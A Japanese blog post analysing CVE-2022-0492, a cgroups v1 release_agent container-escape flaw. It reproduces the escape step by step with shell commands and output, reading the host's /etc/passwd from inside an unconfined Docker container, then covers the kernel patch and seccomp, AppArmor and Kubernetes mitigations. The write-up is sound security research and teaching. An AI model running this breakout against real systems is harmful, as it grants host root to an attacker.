CVE-2022-0492 調査まとめ

cgroups v1 の脆弱性 CVE-2022-0492 について、調査した内容をまとめました。
3/18 にイベントで発表した内容ですが、時間の都合で語りきれなかった部分も多く、内容を加筆してブログに書くことにしました。

speakerdeck.com

CVE-2022-0492 概要

CVE-2022-0492 は cgroups v1 における特権昇格・コンテナブレイクアウト脆弱性です。cgroups v1 の release_agent 機能を悪用することで、コンテナからホストの root 権限で任意コマンド実行が可能となります。詳細は後述しますが、これは本来特権コンテナに限定されるべき設定が、capabilities のチェック漏れにより非特権コンテナから行える状態だったことが原因です。

脆弱性は seccomp や AppArmor/SELinux を有効にすることで回避可能です。

release_agent について

cgroups v1 は cpu, memory, pids のようにリソースをサブシステムに分割し、各サブシステムがディレクトリ構造を取っています。

# ls /sys/fs/cgroup/
blkio  cpu,cpuacct  cpuset   freezer  memory  net_cls           net_prio    pids  systemd
cpu    cpuacct      devices  hugetlb  misc    net_cls,net_prio  perf_event  rdma  unified

release_agent は各 cgroup サブシステムのルートディレクトリに配置されるファイルで、cgroup 内のプロセスが終了する時に起動させるプログラムを設定します。
この時実行されるリリースエージェントプログラムはホストの root 権限を持ちます。

リリースエージェントプログラム の起動の有無は、cgroup ディレクトリ内の notify_on_release の値で判断されます。このファイルはルート以下、各 child cgroup のディレクトリにも配置されています。notify_on_release = 1 の場合、リリースエージェントプログラムを起動します。

f:id:kyohmizu:20220406231534p:plain:w400:h400
cgroup のディレクトリ構成

pids cgroup のルートディレクトリを見ると、以下のように release_agent, notify_on_release のファイルを確認できます。

# ls /sys/fs/cgroup/pids/
cgroup.clone_children  cgroup.sane_behavior  docker      notify_on_release  system.slice  user.slice
cgroup.procs           default               init.scope  release_agent      tasks

# cat /sys/fs/cgroup/pids/release_agent   ← 空のファイル

# cat /sys/fs/cgroup/pids/notify_on_release 
0

ちなみにコンテナに CAP_SYS_ADMIN がある場合、release_agent を使えば本脆弱性を利用することなくブレイクアウト可能です。
(参考:https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)

また cgroups v2 には release_agent がなく、リリースの通知は別の仕組みを使っています。

エクスプロイト

前提条件

脆弱性は次の条件を全て満たす場合に影響があります。

  • root ユーザーまたは、no_new_privsフラグなしでコンテナを起動している
  • seccomp, AppArmor/SELinux がいずれも有効でない
  • ホストの非特権ユーザー名前空間が有効(ubuntu ではデフォルトの設定です)

各設定の確認方法↓

# cat /proc/sys/kernel/unprivileged_userns_clone   ← 非特権ユーザ名前空間
1

# cat /proc/self/status | grep Seccomp   ← seccomp
Seccomp:    0
Seccomp_filters:    0

# cat /proc/self/attr/current   ← AppArmor
docker-default (enforce)

要点

  • コンテナから cgroups の release_agent に書き込みたい
  • rdma サブシステムは root cgroup に所属しているが、readonly でマウントされている
  • cgroup を rw で新たにマウントしたいが、マウントには CAP_SYS_ADMIN が必要
  • unshare で user namespace (ns) を作成すれば CAP_SYS_ADMIN が得られる
  • cgroup, mount ns も同時に作成することで cgroup をマウント可能に
  • rdma cgroup をマウント すると release_agent に書き込み可能
  • cgroup 内のプロセスが終了するタイミングで、任意のプログラムをホストの root 権限で実行

検証

脆弱な Kernel バージョンで CVE-2022-0492 を検証します。
今回は EC2 インスタンスに用意した ubuntu 上で、seccomp, AppArmor をオフにした docker コンテナを起動します。

# uname -a
Linux ip-172-31-1-29 5.13.0-1017-aws #19~20.04.1-Ubuntu SMP Mon Mar 7 12:53:12 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bash

docker はコンテナ作成時に cgroup ns を作成しないので、コンテナはホストと同じ cgroup ns に所属しています。

自身の cgroup を確認すれば root cgroup からのパスがわかるため、コンテナ内から各サブシステムが root cgroup に所属しているかどうか調べることができます。

root@ab988587a245:/# cat /proc/self/cgroup
13:misc:/
12:rdma:/   ← rdma サブシステムは root cgroup
11:hugetlb:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
10:cpuset:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
9:net_cls,net_prio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
8:perf_event:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
7:blkio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
6:devices:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
5:freezer:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
4:cpu,cpuacct:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
3:pids:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
2:memory:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
1:name=systemd:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a
0::/system.slice/containerd.service

これで rdma サブシステムが root cgroup に所属していることがわかりました。
しかしコンテナにマウントされている cgroup は readonly のため、release_agent は見えても書き込みはできません。

root@ab988587a245:/# mount | grep 'cgroup (ro'
cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)
cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)
cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)
cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)
cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)
cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)
cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)
cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)
cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)
cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)
cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb)
cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma)   ← readonly でマウントされている
cgroup on /sys/fs/cgroup/misc type cgroup (ro,nosuid,nodev,noexec,relatime,misc)

root@ab988587a245:/# ls -l /sys/fs/cgroup/rdma/
total 0
-rw-r--r--  1 root root 0 Mar 15 01:40 cgroup.clone_children
-rw-r--r--  1 root root 0 Mar 15 01:40 cgroup.procs
-r--r--r--  1 root root 0 Mar 15 01:40 cgroup.sane_behavior
-rw-r--r--  1 root root 0 Mar 15 01:40 notify_on_release
-rw-r--r--  1 root root 0 Mar 29 16:01 release_agent
drwxr-xr-x 13 root root 0 Mar 26 21:07 system.slice
-rw-r--r--  1 root root 0 Mar 15 01:40 tasks

root@ab988587a245:/# echo test > /sys/fs/cgroup/rdma/release_agent 
bash: /sys/fs/cgroup/rdma/release_agent: Read-only file system   ← 書き込みエラー

というわけで、cgroup を rw でマウントできれば良いことになります。

ここで capability を確認すると、コンテナは CAP_SYS_ADMIN を持っておらず、このままでは cgroup をマウントする権限がありません。

root@ab988587a245:/# apt update && apt install -y libcap2-bin

root@ab988587a245:/# cat /proc/self/status | grep CapEff
CapEff: 00000000a80425fb

root@ab988587a245:/# capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap

root@ab988587a245:/# mount -t cgroup -o rdma cgroup /mnt
mount: /mnt: permission denied.   ← マウントエラー

CAP_SYS_ADMIN を付与するため user ns を作成し新たにプロセスを立ち上げます。
立ち上げたプロセスを見ると、CAP_SYS_ADMIN 他全ての capabilities が付与されていることがわかります。

さらに mount, cgroup ns を同時に作成することで、コンテナ内でのマウントが可能になります。 マウントさえできれば release_agent に書き込むことができます。

root@ab988587a245:/# unshare -rmC bash   ← user, mount, cgroup ns を作成

root@ab988587a245:/# cat /proc/self/status | grep CapEff
CapEff: 000001ffffffffff

root@ab988587a245:/# capsh --decode=000001ffffffffff
0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,38,39,40   ← CAP_SYS_ADMIN を持つ

root@ab988587a245:/# mount -t cgroup -o rdma cgroup /mnt   ← rdma サブシステムをマウント

root@ab988587a245:/# ls /mnt
cgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasks

root@ab988587a245:/# mount | grep 'cgroup (rw'
cgroup on /mnt type cgroup (rw,relatime,rdma)

ここまでで、コンテナ内から release_agent に書き込めるようになりました。

続いてコンテナ内のルート (/) に、ホストの権限で実行させたいプログラムを配置します。 今回は /etc/passwd をコンテナ内に出力するスクリプトを作成しています。

release_agent に設定するのはプログラムのパスですが、ホストから見た絶対パスを指定する必要があります。

root@ab988587a245:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

root@ab988587a245:/# echo $host_path
/var/lib/docker/overlay2/20c4102a1a817b0e564734054b876c051732c62f4993ce682508ac7cd7fcb1c6/diff   ← upperdir のパス

root@ab988587a245:/# echo "$host_path/cmd" > /mnt/release_agent

root@ab988587a245:/# echo '#!/bin/sh' > /cmd

root@ab988587a245:/# echo "cat /etc/passwd > $host_path/output" >> /cmd

root@ab988587a245:/# chmod a+x /cmd

最後に用意したプログラムを起動するため、cgroup 内のプロセスを空にします。
child cgroup を作成し、その中にすぐに終了するプロセスを追加することでリリースエージェントプログラムを起動させます。

root@ab988587a245:/# mkdir /mnt/xx   ← child cgroup を作成

root@ab988587a245:/# ls /mnt/xx/
cgroup.clone_children  cgroup.procs  notify_on_release  rdma.current  rdma.max  tasks

root@ab988587a245:/# echo 1 > /mnt/xx/notify_on_release

root@ab988587a245:/# sh -c "echo \$\$" > /mnt/xx/cgroup.procs   ← すぐに終了するプロセスを child cgroup に追加

root@ab988587a245:/# cat /output   ← コンテナ内にホストの /etc/passwd が出力されている
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
...

修正パッチ

https://github.com/torvalds/linux/commit/24f6008564183aa120d07c03d9289519c2fe02af
https://github.com/torvalds/linux/commit/467a726b754f474936980da793b4ff2ec3e382a7

  static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of, char *buf, size_t nbytes, loff_t off)
  {
    struct cgroup *cgrp;
+   struct cgroup_file_ctx *ctx;

    BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX);

+   /*
+    * Release agent gets called with all capabilities,
+    * require capabilities to set release agent.
+    */
+   ctx = of->priv;
+   if ((ctx->ns->user_ns != &init_user_ns) ||
+       !file_ns_capable(of->file, &init_user_ns, CAP_SYS_ADMIN))
+     return -EPERM;

    cgrp = cgroup_kn_lock_live(of->kn, false);

修正後は上記検証手順での release_agent への書き込みはできません。 これは書き込みプロセスが CAP_SYS_ADMIN は持ちますが、init user ns でないためだと理解しています。

init user ns かつ CAP_SYS_ADMIN を同時に満たすのは、非特権コンテナにおいては不可能となりました。(厳密にはプロセスの capability と、対象 cgroup の所有 user ns のチェックを行なっています)

# uname -r
5.17.0-051700rc7-generic

# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bash

root@a45e44c77da9:/# unshare -rmC bash

root@a45e44c77da9:/# mount -t cgroup -o rdma cgroup /mnt

root@a45e44c77da9:/# ls /mnt
cgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasks

root@a45e44c77da9:/# echo test > /mnt/release_agent 
bash: echo: write error: Operation not permitted

ただし特権コンテナでは引き続きコンテナブレイクアウトは可能です。
引き続き非特権コンテナにする、seccomp や AppArmor/SELinux を設定する等の対策は必要です。

コンテナセキュリティ

コンテナセキュリティと本脆弱性の関係について簡単に見ていきます。

seccomp

seccomp はコンテナ内で実行できるシステムコールを制限します。
unshare システムコールをブロックするため、ns を作成する段階でエラーとなります。

# docker run --rm -it --security-opt apparmor=unconfined ubuntu bash

root@fb3522b81478:/# cat /proc/self/status | grep Seccomp
Seccomp:    2
Seccomp_filters:    1

root@fb3522b81478:/# unshare -rmC bash
unshare: unshare failed: Operation not permitted

AppArmor (SELinux)

ファイル操作、プログラム実行、capabilities 等を制限します。
AppArmor を有効化したコンテナで確認したところ、mount ns の作成を制限しているようでした。

# docker run --rm -it --security-opt seccomp=unconfined ubuntu bash

root@46912ffebb2c:/# cat /proc/self/attr/current 
docker-default (enforce)

root@46912ffebb2c:/# unshare -rmC bash
unshare: cannot change root filesystem propagation: Permission denied

Kubernetes の場合

Kubernetes においては、seccomp や AppArmor/SELinux は環境や設定次第では OFF のため影響が出る可能性があります。

AppArmor/SELinuxKubernetes ノードやコンテナランタイムで有効にする必要があります。 さらに seccomp は Pod のマニフェストにも設定しなければなりません。

また securityContext に適切な設定をすることも重要です。 allowPrivilegeEscalation, readOnlyRootFilesystem, capabilities 等でコンテナの機能を制限すれば、今後生まれる脆弱性の予防にもなると考えます。

EKS, GKE の場合

EKS のノードに使われる Amazon Linux 2 では、rdma のようなコンテナ内に root cgroup がマウントされたサブシステムはないようです。 このため cgroup を新規にマウントしても release_agent は見えず、本脆弱性を悪用することはできません。

# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bash

root@287fcd93a54f:/# cat /proc/self/cgroup 
11:pids:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
10:devices:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
9:hugetlb:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
8:perf_event:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
7:net_cls,net_prio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
6:blkio:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
5:memory:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
4:cpu,cpuacct:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
3:freezer:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
2:cpuset:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0
1:name=systemd:/docker/287fcd93a54f465d1c8c1307fe198acc8592b0000e0571738a138bf1b1c996b0

GKE のノードに使われる COS では、デフォルトで AppArmor が有効になっているようです。 (https://cloud.google.com/container-optimized-os/docs/how-to/secure-apparmor)

$ k run ubuntu --image ubuntu -- sleep 3600
pod/ubuntu created
$ k exec -it ubuntu -- bash
root@ubuntu:/# cat /proc/self/attr/current 
cri-containerd.apparmor.d (enforce)
root@ubuntu:/# unshare -rmC bash
unshare: cannot change root filesystem propagation: Permission denied

以上のことから EKS, GKE では本脆弱性の影響はなさそうです。

さいごに

脆弱性の調査を通じて、コンテナを構成する Linux の要素技術やコンテナセキュリティへの理解が深まりました。
Linux の技術について包括的に学ぶのは(個人的には)難しいので、このような脆弱性の調査から学ぶアプローチも良いのではと思います。

本記事が皆さんの学習の糧になれば幸いです。

参考リンク

CVE-2022-0492

https://unit42.paloaltonetworks.jp/cve-2022-0492-cgroups/

https://sysdig.jp/blog/detecting-mitigating-cve-2021-0492-sysdig/

https://terenceli.github.io/%E6%8A%80%E6%9C%AF/2022/03/06/cve-2022-0492

https://nvd.nist.gov/vuln/detail/CVE-2022-0492

Linux

https://lwn.net/Articles/679786/

https://www.nginx.com/blog/what-are-namespaces-cgroups-how-do-they-work/

https://linuxhint.com/install-linux-kernel-ubuntu/

https://man7.org/linux/man-pages/man7/cgroups.7.html

https://blog.tiqwab.com/2021/11/13/docker-and-cgroups.html

https://en.wikipedia.org/wiki/Seccomp

https://en.wikipedia.org/wiki/Security-Enhanced_Linux

https://manpages.ubuntu.com/manpages/xenial/man5/apparmor.d.5.html

コンテナセキュリティ

https://container-security.dev/security/breakout-to-host.html

https://speakerdeck.com/mochizuki875/container-dev-security

https://speakerdeck.com/mochizuki875/container-seccomp